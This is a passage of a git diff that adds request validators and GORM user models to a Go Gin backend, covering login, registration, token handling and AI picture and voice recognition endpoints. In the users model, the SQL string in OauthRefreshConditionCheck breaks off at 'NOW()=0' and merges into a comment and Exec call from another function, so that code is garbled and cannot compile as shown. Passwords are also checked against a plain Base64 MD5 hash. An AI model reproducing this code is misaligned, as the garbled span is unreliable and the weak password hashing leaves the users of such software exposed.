"PicRecognition表单参数验证器图片尺寸过大或过小", "") + return + } + (&web.AiRecognition{}).PicRecognition(extraAddBindDataContext) +} diff --git a/GinSkeleton/app/http/validator/web/ai_recognition/voc_recognition.go b/GinSkeleton/app/http/validator/web/ai_recognition/voc_recognition.go new file mode 100644 index 0000000..1a4e13a --- /dev/null +++ b/GinSkeleton/app/http/validator/web/ai_recognition/voc_recognition.go @@ -0,0 +1,43 @@ +package ai_recognition + +import ( + "encoding/base64" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" + + "github.com/gin-gonic/gin" +) + +type VocRecognition struct { + Voc string `form:"voc" json:"voc" binding:"required"` // 必填、对于文本,表示它的长度>=1 +} + +func (v VocRecognition) CheckParams(context *gin.Context) { + if err := context.ShouldBind(&v); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(v, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "VocRecognition表单参数验证器json化失败", "") + return + } + voc := v.Voc + // 先进行 URL 解码 + // decodedVoc, err := url.QueryUnescape(voc) + // if err != nil { + // response.ErrorSystem(context, "VocRecognition表单参数验证器URL解码失败", "") + // return + // } + // 再进行 Base64 解码 + _, err := base64.StdEncoding.DecodeString(voc) + if err != nil { + response.ErrorSystem(context, "VocRecognition表单参数验证器Base64解码失败", "") + return + } + (&web.AiRecognition{}).VocRecognition(extraAddBindDataContext) +} diff --git a/GinSkeleton/app/http/validator/web/users/data_type.go b/GinSkeleton/app/http/validator/web/users/data_type.go new file mode 100644 index 0000000..f7f20eb --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/data_type.go @@ -0,0 +1,10 @@ +package users + +type BaseField struct { + UserName string `form:"user_name" json:"user_name" binding:"required,min=3"` // 必填、对于文本,表示它的长度>=1 + Pass string `form:"pass" json:"pass" binding:"required,min=6"` // 密码为 必填,长度>=6 +} + +type Id struct { + Id float64 `form:"id" json:"id" binding:"required,min=1"` +} diff --git a/GinSkeleton/app/http/validator/web/users/destroy.go b/GinSkeleton/app/http/validator/web/users/destroy.go new file mode 100644 index 0000000..ca63fb9 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/destroy.go @@ -0,0 +1,50 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +type Destroy struct { + // 表单参数验证结构体支持匿名结构体嵌套、以及匿名结构体与普通字段组合 + Id + BaseField + // Pass string `form:"pass" json:"pass" binding:"required,min=6"` +} + +// 验证器语法,参见 Register.go文件,有详细说明 + +func (d Destroy) CheckParams(context *gin.Context) { + + if err := context.ShouldBind(&d); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(d, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserShow表单参数验证器json化失败", "") + return + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).Destroy(extraAddBindDataContext) + + // 以下代码为模拟 前置、后置函数的回调代码 + /* + func(before_callback_fn func(context *gin.Context) bool, after_callback_fn func(context *gin.Context)) { + if before_callback_fn(extraAddBindDataContext) { + defer after_callback_fn(extraAddBindDataContext) + (&Web.Users{}).Destroy(extraAddBindDataContext) + } else { + // 这里编写前置函数验证不通过的相关返回提示逻辑... + + } + }((&Users.DestroyBefore{}).Before, (&Users.DestroyAfter{}).After) + */ + } +} diff --git a/GinSkeleton/app/http/validator/web/users/info.go b/GinSkeleton/app/http/validator/web/users/info.go new file mode 100644 index 0000000..c4fd05b --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/info.go @@ -0,0 +1,35 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + // common_data_type "goskeleton/app/http/validator/common/data_type" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +type Info struct { + // 表单参数验证结构体支持匿名结构体嵌套 + UserName string `form:"user_name" json:"user_name" binding:"required,min=3"` // 必填、对于文本,表示它的长度>=1 + // common_data_type.Page +} + +// 验证器语法,参见 Register.go文件,有详细说明 +func (s Info) CheckParams(context *gin.Context) { + //1.基本的验证规则没有通过 + if err := context.ShouldBind(&s); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(s, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserInfo表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).Info(extraAddBindDataContext) + } +} diff --git a/GinSkeleton/app/http/validator/web/users/login.go b/GinSkeleton/app/http/validator/web/users/login.go new file mode 100644 index 0000000..7b97d24 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/login.go @@ -0,0 +1,35 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +type Login struct { + // 表单参数验证结构体支持匿名结构体嵌套 + BaseField +} + +// 验证器语法,参见 Register.go文件,有详细说明 + +func (l Login) CheckParams(context *gin.Context) { + + //1.基本的验证规则没有通过 + if err := context.ShouldBind(&l); err != nil { + response.ValidatorError(context, err) + return + } + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(l, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "userLogin表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).Login(extraAddBindDataContext) + } + +} diff --git a/GinSkeleton/app/http/validator/web/users/logout.go b/GinSkeleton/app/http/validator/web/users/logout.go new file mode 100644 index 0000000..ced8cc9 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/logout.go @@ -0,0 +1,49 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +type Logout struct { + // 表单参数验证结构体支持匿名结构体嵌套、以及匿名结构体与普通字段组合 + // UserName string `form:"user_name" json:"user_name" binding:"required,min=3"` + Id +} + +// 验证器语法,参见 Register.go文件,有详细说明 + +func (l Logout) CheckParams(context *gin.Context) { + + if err := context.ShouldBind(&l); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(l, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserShow表单参数验证器json化失败", "") + return + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).Logout(extraAddBindDataContext) + + // 以下代码为模拟 前置、后置函数的回调代码 + /* + func(before_callback_fn func(context *gin.Context) bool, after_callback_fn func(context *gin.Context)) { + if before_callback_fn(extraAddBindDataContext) { + defer after_callback_fn(extraAddBindDataContext) + (&Web.Users{}).Destroy(extraAddBindDataContext) + } else { + // 这里编写前置函数验证不通过的相关返回提示逻辑... + + } + }((&Users.DestroyBefore{}).Before, (&Users.DestroyAfter{}).After) + */ + } +} diff --git a/GinSkeleton/app/http/validator/web/users/publickey.go b/GinSkeleton/app/http/validator/web/users/publickey.go new file mode 100644 index 0000000..9c4ef7b --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/publickey.go @@ -0,0 +1,55 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +// 验证器是本项目骨架的先锋队,必须发挥它的极致优势,具体参考地址: +//https://godoc.org/github.com/go-playground/validator ,该验证器非常强大,强烈建议重点发挥, +//请求正式进入控制器等后面的业务逻辑层之前,参数的校验必须在验证器层完成,后面的控制器等就只管获取各种参数,代码一把梭 + +// 给出一些最常用的验证规则: +//required 必填; +//len=11 长度=11; +//min=3 如果是数字,验证的是数据范围,最小值为3,如果是文本,验证的是最小长度为3, +//max=6 如果是数字,验证的是数字最大值为6,如果是文本,验证的是最大长度为6 +// mail 验证邮箱 +//gt=3 对于文本就是长度>=3 +//lt=6 对于文本就是长度<=6 + +type PublicKey struct { + UserName string `form:"user_name" json:"user_name" binding:"required,min=3"` +} + +// 特别注意: 表单参数验证器结构体的函数,绝对不能绑定在指针上 +// 我们这部分代码项目启动后会加载到容器,如果绑定在指针,一次请求之后,会造成容器中的代码段被污染 + +func (p PublicKey) CheckParams(context *gin.Context) { + //1.先按照验证器提供的基本语法,基本可以校验90%以上的不合格参数 + if err := context.ShouldBind(&p); err != nil { + response.ValidatorError(context, err) + return + } + //2.继续验证具有中国特色的参数,例如 身份证号码等,基本语法校验了长度18位,然后可以自行编写正则表达式等更进一步验证每一部分组成 + // r.CardNo 获取身份证号码继续校验,可能需要开发者编写正则表达式,稍微复杂,这里忽略 + + // r.Phone 获取手机号码,可以根据手机号码开头等等自定义验证,例如 如果不是以138 开头的手机号码,则报错 + //if !strings.HasPrefix(r.CardNo, "138") { + // response.ErrorParam(context, gin.H{"tips": "手机号码字段:card_no 必须以138开头"}) + // return + //} + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(p, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserRegister表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).PublicKey(extraAddBindDataContext) + } + +} diff --git a/GinSkeleton/app/http/validator/web/users/refresh_token.go b/GinSkeleton/app/http/validator/web/users/refresh_token.go new file mode 100644 index 0000000..e22e397 --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/refresh_token.go @@ -0,0 +1,36 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/utils/response" + "strings" +) + +type RefreshToken struct { + Authorization string `json:"token" header:"Authorization" binding:"required,min=20"` +} + +// 验证器语法,参见 Register.go文件,有详细说明 + +func (r RefreshToken) CheckParams(context *gin.Context) { + + //1.基本的验证规则没有通过 + if err := context.ShouldBindHeader(&r); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + token := strings.Split(r.Authorization, " ") + if len(token) == 2 { + context.Set(consts.ValidatorPrefix+"token", token[1]) + (&web.Users{}).RefreshToken(context) + } else { + errs := gin.H{ + "tips": "Token不合法,token请放置在header头部分,按照按=>键提交,例如:Authorization:Bearer 你的实际token....", + } + response.Fail(context, consts.JwtTokenFormatErrCode, consts.JwtTokenFormatErrMsg, errs) + } + +} diff --git a/GinSkeleton/app/http/validator/web/users/register.go b/GinSkeleton/app/http/validator/web/users/register.go new file mode 100644 index 0000000..d1fabbf --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/register.go @@ -0,0 +1,55 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +// 验证器是本项目骨架的先锋队,必须发挥它的极致优势,具体参考地址: +//https://godoc.org/github.com/go-playground/validator ,该验证器非常强大,强烈建议重点发挥, +//请求正式进入控制器等后面的业务逻辑层之前,参数的校验必须在验证器层完成,后面的控制器等就只管获取各种参数,代码一把梭 + +// 给出一些最常用的验证规则: +//required 必填; +//len=11 长度=11; +//min=3 如果是数字,验证的是数据范围,最小值为3,如果是文本,验证的是最小长度为3, +//max=6 如果是数字,验证的是数字最大值为6,如果是文本,验证的是最大长度为6 +// mail 验证邮箱 +//gt=3 对于文本就是长度>=3 +//lt=6 对于文本就是长度<=6 + +type Register struct { + BaseField +} + +// 特别注意: 表单参数验证器结构体的函数,绝对不能绑定在指针上 +// 我们这部分代码项目启动后会加载到容器,如果绑定在指针,一次请求之后,会造成容器中的代码段被污染 + +func (r Register) CheckParams(context *gin.Context) { + //1.先按照验证器提供的基本语法,基本可以校验90%以上的不合格参数 + if err := context.ShouldBind(&r); err != nil { + response.ValidatorError(context, err) + return + } + //2.继续验证具有中国特色的参数,例如 身份证号码等,基本语法校验了长度18位,然后可以自行编写正则表达式等更进一步验证每一部分组成 + // r.CardNo 获取身份证号码继续校验,可能需要开发者编写正则表达式,稍微复杂,这里忽略 + + // r.Phone 获取手机号码,可以根据手机号码开头等等自定义验证,例如 如果不是以138 开头的手机号码,则报错 + //if !strings.HasPrefix(r.CardNo, "138") { + // response.ErrorParam(context, gin.H{"tips": "手机号码字段:card_no 必须以138开头"}) + // return + //} + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(r, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserRegister表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).Register(extraAddBindDataContext) + } + +} diff --git a/GinSkeleton/app/http/validator/web/users/store.go b/GinSkeleton/app/http/validator/web/users/store.go new file mode 100644 index 0000000..5f79f5e --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/store.go @@ -0,0 +1,37 @@ +package users + +// import ( +// "github.com/gin-gonic/gin" +// "goskeleton/app/global/consts" +// "goskeleton/app/http/controller/web" +// "goskeleton/app/http/validator/core/data_transfer" +// "goskeleton/app/utils/response" +// ) + +// type Store struct { +// BaseField +// // 表单参数验证结构体支持匿名结构体嵌套、以及匿名结构体与普通字段组合 +// RealName string `form:"real_name" json:"real_name" binding:"required,min=2"` +// Phone string `form:"phone" json:"phone" binding:"required,len=11"` +// Remark string `form:"remark" json:"remark" ` +// } + +// // 验证器语法,参见 Register.go文件,有详细说明 + +// func (s Store) CheckParams(context *gin.Context) { +// //1.基本的验证规则没有通过 +// if err := context.ShouldBind(&s); err != nil { +// // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 +// response.ValidatorError(context, err) +// return +// } + +// // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 +// extraAddBindDataContext := data_transfer.DataAddContext(s, consts.ValidatorPrefix, context) +// if extraAddBindDataContext == nil { +// response.ErrorSystem(context, "UserStore表单验证器json化失败", "") +// } else { +// // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 +// (&web.Users{}).Store(extraAddBindDataContext) +// } +// } diff --git a/GinSkeleton/app/http/validator/web/users/update.go b/GinSkeleton/app/http/validator/web/users/update.go new file mode 100644 index 0000000..0779d4e --- /dev/null +++ b/GinSkeleton/app/http/validator/web/users/update.go @@ -0,0 +1,84 @@ +package users + +import ( + "github.com/gin-gonic/gin" + "goskeleton/app/global/consts" + "goskeleton/app/http/controller/web" + "goskeleton/app/http/validator/core/data_transfer" + "goskeleton/app/utils/response" +) + +// type Update struct { +// // BaseField +// UserName string `form:"user_name" json:"user_name" binding:"required,min=3"` // 必填、对于文本,表示它的长度>=1 +// Pass string `form:"pass" json:"pass" binding:"min=6"` // 密码为 长度>=6 +// Id +// // 表单参数验证结构体支持匿名结构体嵌套、以及匿名结构体与普通字段组合 +// // RealName string `form:"real_name" json:"real_name" binding:"required,min=2"` +// // Phone string `form:"phone" json:"phone" binding:"required,len=11"` +// // Remark string `form:"remark" json:"remark"` +// } + +// // 验证器语法,参见 Register.go文件,有详细说明 + +// func (u Update) CheckParams(context *gin.Context) { +// //1.基本的验证规则没有通过 +// if err := context.ShouldBind(&u); err != nil { +// // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 +// response.ValidatorError(context, err) +// return +// } + +// // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 +// extraAddBindDataContext := data_transfer.DataAddContext(u, consts.ValidatorPrefix, context) +// if extraAddBindDataContext == nil { +// response.ErrorSystem(context, "UserUpdate表单验证器json化失败", "") +// } else { +// // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 +// (&web.Users{}).Update(extraAddBindDataContext) +// } +// } + +type NameUpdate struct{ + UserName string `form:"user_name" json:"user_name" binding:"required,min=3"` // 必填、对于文本,表示它的长度>=1 + Id +} +type PasswordUpdate struct{ + OldPass string `form:"oldpass" json:"oldpass" binding:"required,min=6"` // 密码为 长度>=6 + NewPass string `form:"newpass" json:"newpass" binding:"required,min=6"` + NameUpdate +} +func (n NameUpdate) CheckParams(context *gin.Context) { + //1.基本的验证规则没有通过 + if err := context.ShouldBind(&n); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(n, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserUpdate表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).NameUpdate(extraAddBindDataContext) + } +} +func (p PasswordUpdate) CheckParams(context *gin.Context) { + //1.基本的验证规则没有通过 + if err := context.ShouldBind(&p); err != nil { + // 将表单参数验证器出现的错误直接交给错误翻译器统一处理即可 + response.ValidatorError(context, err) + return + } + + // 该函数主要是将本结构体的字段(成员)按照 consts.ValidatorPrefix+ json标签对应的 键 => 值 形式绑定在上下文,便于下一步(控制器)可以直接通过 context.Get(键) 获取相关值 + extraAddBindDataContext := data_transfer.DataAddContext(p, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserUpdate表单验证器json化失败", "") + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + (&web.Users{}).PasswordUpdate(extraAddBindDataContext) + } +} \ No newline at end of file diff --git a/GinSkeleton/app/model/base_model.go b/GinSkeleton/app/model/base_model.go new file mode 100644 index 0000000..261c388 --- /dev/null +++ b/GinSkeleton/app/model/base_model.go @@ -0,0 +1,71 @@ +package model + +import ( + "fmt" + "gorm.io/gorm" + "goskeleton/app/global/my_errors" + "goskeleton/app/global/variable" + "strings" +) + +type BaseModel struct { + *gorm.DB `gorm:"-" json:"-"` + Id int64 `gorm:"primaryKey" json:"id"` + CreatedAt string `json:"created_at"` //日期时间字段统一设置为字符串即可 + UpdatedAt string `json:"updated_at"` + //DeletedAt gorm.DeletedAt `json:"deleted_at"` // 如果开发者需要使用软删除功能,打开本行注释掉的代码即可,同时需要在数据库的所有表增加字段deleted_at 类型为 datetime +} + +func UseDbConn(sqlType string) *gorm.DB { + var db *gorm.DB + sqlType = strings.Trim(sqlType, " ") + if sqlType == "" { + sqlType = variable.ConfigGormv2Yml.GetString("Gormv2.UseDbType") + } + switch strings.ToLower(sqlType) { + case "mysql": + if variable.GormDbMysql == nil { + variable.ZapLog.Fatal(fmt.Sprintf(my_errors.ErrorsGormNotInitGlobalPointer, sqlType, sqlType)) + } + db = variable.GormDbMysql + case "sqlserver": + if variable.GormDbSqlserver == nil { + variable.ZapLog.Fatal(fmt.Sprintf(my_errors.ErrorsGormNotInitGlobalPointer, sqlType, sqlType)) + } + db = variable.GormDbSqlserver + case "postgres", "postgre", "postgresql": + if variable.GormDbPostgreSql == nil { + variable.ZapLog.Fatal(fmt.Sprintf(my_errors.ErrorsGormNotInitGlobalPointer, sqlType, sqlType)) + } + db = variable.GormDbPostgreSql + default: + variable.ZapLog.Error(my_errors.ErrorsDbDriverNotExists + sqlType) + } + return db +} + +// 在 ginskeleton项目中如果在业务 model 设置了回调函数,请看以下说明 +// 注意:gorm 的自动回调函数(BeforeCreate、BeforeUpdate 等),不是由本项目的 Create ... 函数先初始化然后调用的,而是gorm自动直接调用的, +// 所以 接收器 b 的所有参数都是没有赋值的,因此这里需要给 b.DB 赋予回调的 gormDb +// baseModel 的代码执行顺序晚于其他业务 model 的回调函数,如果回调函数名称相同,会被普通业务model的同名回调函数覆盖 +// gorm 支持的自动回调函数清单:https://github.com/go-gorm/gorm/blob/master/callbacks/interfaces.go + +//func (b *BaseModel) BeforeCreate(gormDB *gorm.DB) error { +// 第一步必须反向将 gormDB 赋值给 b.DB +// b.DB = gormDB +// 后续的代码就可以像普通业务 model 一样操作, +// b.Exec(sql,参数1,参数2,...) +// b.Raw(sql,参数1,参数2,...) +// return nil +//} + +// BeforeUpdate、BeforeSave 函数都会因为 更新类的操作而被触发 +// 如果baseModel 和 普通业务 model 都想使用回调函数,那么请设置不同的回调函数名,例如:这里设置 BeforeUpdate、普通业务model 设置 BeforeSave 即可 +//func (b *BaseModel) BeforeUpdate(gormDB *gorm.DB) error { +// 第一步必须反向将 gormDB 赋值给 b.DB +// b.DB = gormDB +// 后续的代码就可以像普通业务 model 一样操作, +// b.Exec(sql,参数1,参数2,...) +// b.Raw(sql,参数1,参数2,...) +// return nil +//} diff --git a/GinSkeleton/app/model/users.go b/GinSkeleton/app/model/users.go new file mode 100644 index 0000000..b14ef00 --- /dev/null +++ b/GinSkeleton/app/model/users.go @@ -0,0 +1,467 @@ +package model + +import ( + + // "encoding/pem" + // "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/service/users/token_cache_redis" + "goskeleton/app/utils/md5_encrypt" + rsa "goskeleton/app/utils/rsa" + "time" + + "go.uber.org/zap" + "fmt" + // "github.com/google/uuid" // 导入uuid库 +) + +// 操作数据库喜欢使用gorm自带语法的开发者可以参考 GinSkeleton-Admin 系统相关代码 +// Admin 项目地址:https://gitee.com/daitougege/gin-skeleton-admin-backend/ +// gorm_v2 提供的语法+ ginskeleton 实践 : http://gitee.com/daitougege/gin-skeleton-admin-backend/blob/master/app/model/button_cn_en.go + +// 创建 userFactory +// 参数说明: 传递空值,默认使用 配置文件选项:UseDbType(mysql) + +func CreateUserFactory(sqlType string) *UsersModel { + return &UsersModel{BaseModel: BaseModel{DB: UseDbConn(sqlType)}} +} + +type UsersModel struct { + BaseModel + UserName string `gorm:"column:user_name" json:"user_name"` + Pass string `json:"-"` + // Phone string `json:"phone"` + // RealName string `gorm:"column:real_name" json:"real_name"` + Status int `json:"status"` + Token string `json:"token"` + // LastLoginIp string `gorm:"column:last_login_ip" json:"last_login_ip"` +} + +// 表名 +func (u *UsersModel) TableName() string { + return "tb_users" +} + +// 用户注册(写一个最简单的使用账号、密码注册即可) +func (u *UsersModel) Register(userName, pass string) bool { + // userID:=uuid.New() + sql := "INSERT INTO tb_users(user_name,pass) SELECT ?,? FROM DUAL WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + result := u.Exec(sql, userName, pass, userName) + if result.RowsAffected > 0 { + return true + } else { + variable.ZapLog.Error("注册失败:", zap.Error(result.Error)) + return false + } +} + +// 用户登录, +func (u *UsersModel) Login(userName string, pass string) *UsersModel { + sql := "select pass,id from tb_users where user_name=? limit 1" + result := u.Raw(sql, userName).First(u) + if result.Error == nil { + // 账号密码验证成功 + if len(u.Pass) > 0 && (u.Pass == md5_encrypt.Base64Md5(pass)) { + return u + } + } else { + variable.ZapLog.Error("根据账号查询单条记录出错:", zap.Error(result.Error)) + } + return nil +} + +//记录用户登陆(login)生成的token,每次登陆记录一次token +func (u *UsersModel) OauthLoginToken(userId int64, token string, expiresAt int64) bool { + sql := ` + INSERT INTO tb_oauth_access_tokens(fr_user_id,action_name,token,expires_at) + SELECT ?,'login',? ,? FROM DUAL WHERE NOT EXISTS(SELECT 1 FROM tb_oauth_access_tokens a WHERE a.fr_user_id=? AND a.action_name='login' AND a.token=? ) + ` + //注意:token的精确度为秒,如果在一秒之内,一个账号多次调用接口生成的token其实是相同的,这样写入数据库,第二次的影响行数为0,知己实际上操作仍然是有效的。 + //所以这里只判断无错误即可,判断影响行数的话,>=0 都是ok的 + if u.Exec(sql, userId, token, time.Unix(expiresAt, 0).Format(variable.DateFormat), userId, token).Error == nil { + // 异步缓存用户有效的token到redis + if variable.ConfigYml.GetInt("Token.IsCacheToRedis") == 1 { + go u.ValidTokenCacheToRedis(userId) + } + return true + } + return false +} + +//用户刷新token,条件检查: 相关token在过期的时间之内,就符合刷新条件 +func (u *UsersModel) OauthRefreshConditionCheck(userId int64, oldToken string) bool { + // 首先判断旧token在本系统自带的数据库已经存在,才允许继续执行刷新逻辑 + var oldTokenIsExists int + sql := "SELECT count(*) as counts FROM tb_oauth_access_tokens WHERE fr_user_id =? and token=? and NOW()=0, 有些没有登录过的用户没有相关token,此语句执行影响行数为0,但是仍然是执行成功 + if u.Exec(sql, userId).Error == nil { + return true + } + return false +} + +// 判断用户token是否在数据库存在+状态OK +func (u *UsersModel) OauthCheckTokenIsOk(userId int64, token string) bool { + sql := "SELECT token FROM `tb_oauth_access_tokens` WHERE fr_user_id=? AND revoked=0 AND expires_at>NOW() ORDER BY expires_at DESC , updated_at DESC LIMIT ?" + maxOnlineUsers := variable.ConfigYml.GetInt("Token.JwtTokenOnlineUsers") + rows, err := u.Raw(sql, userId, maxOnlineUsers).Rows() + defer func() { + // 凡是查询类记得释放记录集 + _ = rows.Close() + }() + if err == nil && rows != nil { + for rows.Next() { + var tempToken string + err := rows.Scan(&tempToken) + if err == nil { + if tempToken == token { + return true + } + } + } + } + return false +} + +// 禁用一个用户的: 1.tb_users表的 status 设置为 0,tb_oauth_access_tokens 表的所有token删除 +// 禁用一个用户的token请求(本质上就是把tb_users表的 status 字段设置为 0 即可) +// func (u *UsersModel) SetTokenInvalid(userId int) bool { +// sql := "delete from `tb_oauth_access_tokens` where `fr_user_id`=? " +// if u.Exec(sql, userId).Error == nil { +// if u.Exec("update tb_users set status=0 where id=?", userId).Error == nil { +// return true +// } +// } +// return false +// } + +//根据用户ID查询一条信息 +func (u *UsersModel) ShowOneItem(userId int) (*UsersModel, error) { + sql := "SELECT `id`, `user_name`,`pass` FROM `tb_users` WHERE `status`=1 and id=? LIMIT 1" + result := u.Raw(sql, userId).First(u) + if result.Error == nil { + return u, nil + } else { + return nil, result.Error + } +} + +// 查询数据之前统计条数 +// func (u *UsersModel) counts(userName string) (counts int64) { +// sql := "SELECT count(*) as counts FROM tb_users WHERE status=1 and user_name like ?" +// if res := u.Raw(sql, "%"+userName+"%").First(&counts); res.Error != nil { +// variable.ZapLog.Error("UsersModel - counts 查询数据条数出错", zap.Error(res.Error)) +// } +// return counts +// } + +// 查询(根据关键词模糊查询) +type baseInfo struct{ + Id int64 `gorm:"primaryKey" json:"id"` + UserName string `gorm:"column:user_name" json:"user_name"` +} +func (u *UsersModel) Info(userName string) (temp baseInfo) { + sql := "SELECT `id`, `user_name` FROM `tb_users` WHERE user_name= ?" + if res := u.Raw(sql,userName).Scan(&temp); res.RowsAffected > 0 { + return temp + } + return +} + +//新增 +func (u *UsersModel) Store(userName string, pass string, realName string, phone string, remark string) bool { + sql := "INSERT INTO tb_users(user_name,pass,real_name,phone,remark) SELECT ?,?,?,?,? FROM DUAL WHERE NOT EXISTS (SELECT 1 FROM tb_users WHERE user_name=?)" + return u.Exec(sql, userName, pass, realName, phone, remark, userName).RowsAffected > 0 + // return false +} + +//UpdateDataCheckUserNameIsUsed 更新前检查新的用户名是否已经存在(避免和别的账号重名) +func (u *UsersModel) UpdateDataCheckUserNameIsUsed(userId int, userName string) (exists int64) { + sql := "select count(*) as counts from tb_users where id!=? AND user_name=?" + _ = u.Raw(sql, userId, userName).First(&exists) + return exists +} + +//更新 +func (u *UsersModel) NameUpdate(id int, userName string) bool { + sql := "update tb_users set user_name=? WHERE status=1 AND id=?" + return u.Exec(sql, userName, id).RowsAffected >= 0 +} +func (u *UsersModel) UpdatePassword(id int,userName,oldpass,newpass string) *UsersModel { + sql := 